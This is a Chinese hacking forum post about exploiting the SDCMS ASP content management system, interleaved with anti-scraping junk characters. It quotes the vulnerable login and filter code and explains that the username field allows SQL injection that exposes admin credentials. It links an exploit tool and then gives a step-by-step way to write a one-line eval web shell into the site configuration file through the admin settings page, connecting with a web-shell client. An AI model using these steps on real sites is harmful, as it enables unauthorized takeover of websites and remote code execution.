找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3487|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
4 H  E9 [9 e, d5 u漏洞文件:后台目录/index.asp! J# s. [* M* x5 [. W

# Y* B! O# Z1 J& r! d& G5 _Sub Check! u. @, m0 P8 X4 n
    Dim username,password,code,getcode,Rs0 y' \9 V2 q3 w+ V
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub6 a1 S4 o, [/ ]
    username=FilterText(Trim(Request.Form("username")),1)
! H: ?4 k% N) \8 u/ N/ O    password=FilterText(Trim(Request.Form("password")),1)1 \5 n" \3 C8 G, A2 q3 x
    code=Trim(Request.Form("yzm"))7 g+ ^3 Z; H+ b3 S
    getcode=Session("SDCMSCode"), s) B. d3 M" c# p) M! [3 |
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
( y& a+ |0 p1 R" z0 c$ b    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied$ o, G1 K. v# b/ |
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied% ?" k& M' O& g+ t
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
! J3 M7 q( i$ e; V- V7 P    IF username="" or password="" Then
7 y7 b9 i/ F! _: Y        Echo "用户名或密码不能为空"ied
2 S: d6 P# \6 V+ w( p2 X    Else4 C8 D# J9 e9 U) C
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'"). T' \2 t' p) G% ^2 u) m8 K! W4 r
        IF Rs.Eof Then
; s1 P" X5 G  |$ C  j( Z% e            AddLog username,GetIp,"登录失败",1/ B) |' V8 j; P' @" y' `0 ?
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
0 ^+ _3 [& r  [" T+ S3 y8 K7 P+ W0 V        Else- C0 W1 H$ B4 ^0 J# J
            Add_Cookies "sdcms_id",Rs(0)
2 s2 `4 }1 y- \. ?, D& U5 n) g            Add_Cookies "sdcms_name",username# e/ X- ^+ b' q' B; G: ^
            Add_Cookies "sdcms_pwd",Rs(2)* I3 K( ^4 _9 q8 j+ W- Q5 K
            Add_Cookies "sdcms_admin",Rs(3)9 p0 [  `/ {# ]2 _
            Add_Cookies "sdcms_alllever",Rs(4)1 g* u: l6 {3 k, _8 r
            Add_Cookies "sdcms_infolever",Rs(5)
/ p  @2 @/ S" Z  w& V) K$ {            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
4 S; E- r+ q/ A7 G6 L, t  q4 e            AddLog username,GetIp,"登录成功",1+ l9 K" N( a( j" _3 S! H
            '自动删除30天前的Log记录
1 j2 c+ v" {9 s6 @0 b( @, P  h            IF Sdcms_DataType Then
6 D: R9 S" N4 E                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")  V3 o8 v) m( W
            Else
0 T$ B1 o0 z/ R  Q" b( l5 n7 k. V                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")% P  i- `! ^% I/ Z+ F, n
            End IF9 d. z% u4 O1 q
            Go("sdcms_index.asp")
, O! O! G) Q' O0 x, s        End IF/ [8 u/ W( Y; E" T; Z9 ]9 J
        Rs.Close
4 R$ C; v- z0 I5 G0 X6 \        Set Rs=Nothing  T, S3 K* Z( ?. f
    End IF# |& W5 U8 a2 [, P- ?- D. S6 U
End Sub* W0 A4 F0 k2 k, y; z. s

0 ^, c3 I/ `+ e# _# h$ |’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码1 q7 `' N9 P" T
4 z+ R' ?+ M$ E- Y2 l
Function FilterText(ByVal t0,ByVal t1)
- A& J( Q  P* W4 Q* `0 }8 F9 }4 i- \    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
( m' h  y0 l' {) v7 I. \    t0=Trim(t0), L; _  @3 E5 G' H9 ?9 V! D
    Select Case t1$ d# S" o6 M1 Y$ E1 u  w
        Case "1"9 v. s4 _% a2 O
            t0=Replace(t0,Chr(32),"")
9 N3 d2 f! m9 x            t0=Replace(t0,Chr(13),"")$ h! y9 [1 z! S5 i% x
            t0=Replace(t0,Chr(10)&Chr(10),"")
* v9 m; U* l" v5 ~6 }) z/ R! ?            t0=Replace(t0,Chr(10),"")1 _( Z6 I1 ~* n8 e* d% b( t/ D
        Case "2"
  ?9 p) ~$ _7 B            t0=Replace(t0,Chr(8),"")'回格
3 p7 Q2 U* A2 A* i) `/ W1 u! u            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
0 f& N; W) t0 ^            t0=Replace(t0,Chr(10),"")'换行) ^3 `8 x* C1 |
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
. T3 D+ s2 [7 q+ G  T/ Q            t0=Replace(t0,Chr(12),"")'换页4 v) \' M" E' k) n2 t
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
1 @$ _, o9 A5 Z2 F. L( c            t0=Replace(t0,Chr(22),"")
  O' h) h) O& C) ^; R            t0=Replace(t0,Chr(32),"")'空格 SPACE
9 ]' H5 g8 R' u+ p5 d9 R# ]% f            t0=Replace(t0,Chr(33),"")'!2 S/ r( C$ a, h7 J" k
            t0=Replace(t0,Chr(34),"")'"
3 |% l' W6 M% M9 `( L            t0=Replace(t0,Chr(35),"")'#
7 ^$ |& o  I( \1 g3 g7 W6 J* M            t0=Replace(t0,Chr(36),"")'$
2 [" n: c' }$ o4 @1 q/ e* P) A3 e            t0=Replace(t0,Chr(37),"")'%" t1 V4 Z: |( {# \1 y# v3 v" E
            t0=Replace(t0,Chr(38),"")'&
& S: c) w+ D5 t; g. @2 P" C            t0=Replace(t0,Chr(39),"")''
  ]5 f7 i  w, I  {            t0=Replace(t0,Chr(40),"")'() d% f# o) w# `# G0 W+ k
            t0=Replace(t0,Chr(41),"")')
$ l2 g  O/ Y9 ~" {) P% h            t0=Replace(t0,Chr(42),"")'*
& B7 N9 V; g# _. R            t0=Replace(t0,Chr(43),"")'+7 @* `2 |3 O2 L! V) d
            t0=Replace(t0,Chr(44),"")',2 B  C" q* z9 J4 ^
            t0=Replace(t0,Chr(45),"")'-/ r/ L) s& O7 C$ F  w2 p
            t0=Replace(t0,Chr(46),"")'.
4 v, b4 S9 L( L8 C$ H            t0=Replace(t0,Chr(47),"")'/
5 H4 w, S! Q) K            t0=Replace(t0,Chr(58),"")':
, s2 I% J' V7 A5 O            t0=Replace(t0,Chr(59),"")';
  n8 W4 V  ~8 c# N) k: J3 Z' \            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>, E5 K9 `/ f1 [, F& [
            t0=Replace(t0,Chr(63),"")'?
$ {+ v3 G" b, K  O& w0 Z            t0=Replace(t0,Chr(64),"")'@
- M1 V1 @( }/ Y, p: b) Q# h! [; h            t0=Replace(t0,Chr(91),"")'\
! v2 P& a; }4 ]/ ]. H3 [7 y            t0=Replace(t0,Chr(92),"")'\
9 A) X) ^2 Z+ M+ @' k) W            t0=Replace(t0,Chr(93),"")']
0 t* \! w, L! f# A0 q3 f! Q            t0=Replace(t0,Chr(94),"")'^% H3 m5 `& P4 ^. T3 V. Z& n0 x
            t0=Replace(t0,Chr(95),"")'_
8 ~1 w& D2 o+ D; F            t0=Replace(t0,Chr(96),"")'`/ R* z1 I1 I  n# ^/ s, ]$ b
            t0=Replace(t0,Chr(123),"")'{0 |0 U  g6 k# v/ H7 L- T
            t0=Replace(t0,Chr(124),"")'|
7 y5 u1 \5 P2 z& e( @# j            t0=Replace(t0,Chr(125),"")'}
* K# {$ o8 ]- `            t0=Replace(t0,Chr(126),"")'~1 P. O0 s4 E5 |& O2 M& q' M( s
    Case Else
: @% V. w$ |/ j9 k  w6 h% L        t0=Replace(t0, "&", "&")
9 ~8 R: K( P. _) t! A1 u0 \        t0=Replace(t0, "'", "'")
. x; n# a( F. y        t0=Replace(t0, """", """)4 g% n' ?) \# ]! i
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
7 n" U. s( s' a0 z1 V    End Select3 W$ P$ ^4 c8 T$ _7 S: H
    IF Instr(Lcase(t0),"expression")>0 Then7 |; V* a4 u' b* r
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)$ h2 T* ~, [8 Y0 A8 v6 E
    End If- v2 P; k$ o! H# S( A4 |
    FilterText=t0
3 u6 S* ]  B3 n2 g9 a! C( cEnd Function
$ E! A9 [0 o* i7 l2 S0 ?  G! `: q/ l5 V7 ]9 A" `( @
看到没。直接参数是1 只过滤
! A5 Q6 j1 R& F2 F4 v( G3 b                        t0=Replace(t0,Chr(32)," ")
9 W1 i+ ^+ v& J8 v* o5 `- N                        t0=Replace(t0,Chr(13),"")" z" b) _7 Y" e  c
                        t0=Replace(t0,Chr(10)&Chr(10),"
- ?5 q$ [$ X9 ?+ c")
) R8 s- X7 n2 k( K: j7 a# S                        t0=Replace(t0,Chr(10),"
% I3 S* T4 \$ R; K7 }9 m: x")$ f6 ]8 I% P' |
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!4 `+ |9 [1 P2 y- Q1 W# s+ D
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP( Q0 ?2 L9 i" |- T% ^( e

1 B. L$ L5 J5 O5 c, F2 f- h测试:( A) j) R+ R) \- z+ B' y7 X

9 u7 b" ]" B: ^; i, o: ?
( Y; m; F4 g/ t$ k( E, U! ^现在输入工具上验证码,然后点OK7 T/ g' @/ f9 U

9 o* \2 d# U3 B8 M) C+ o) D7 O5 B6 @; W' ^6 d: M
看到我们直接进入后台管理界面了,呵呵!9 y, B; k4 P" L/ U3 M! O

! b, P3 p4 }6 T
% Z) U! F8 a: P+ L. q; [  x- y! z2 P% T
# Z; p) H$ u4 u& U这样直接进入后台了。。。。! z7 f* u: i( R. w+ o
0 c& R1 |" c) p

7 c: V# f& U$ D0 b4 m) d+ D3 F/ k* \$ b/ n& K7 K
SDCMS提权:
; I# N3 g% e8 V: N. [. U" H- ?' `- k3 p7 v: U
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
( [1 u$ E6 q1 F3 p7 i) J- x5 m3 l2 v
4 T& O/ u; S1 O2 h
2 v; {, I& d. u7 G. G  A: W
OK,现在用菜刀连接下!
) L( u/ E% j* x3 x/ T& T8 [6 p- l
: c0 a2 m6 i# U& v% B1 L- J
, R( G6 W( i( }5 f8 c
- i$ h) F, [0 _/ ^( w
- H! R, @$ w9 `1 f3 r0 C" A  I  |
( h: h7 F( L( H% g+ F: ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表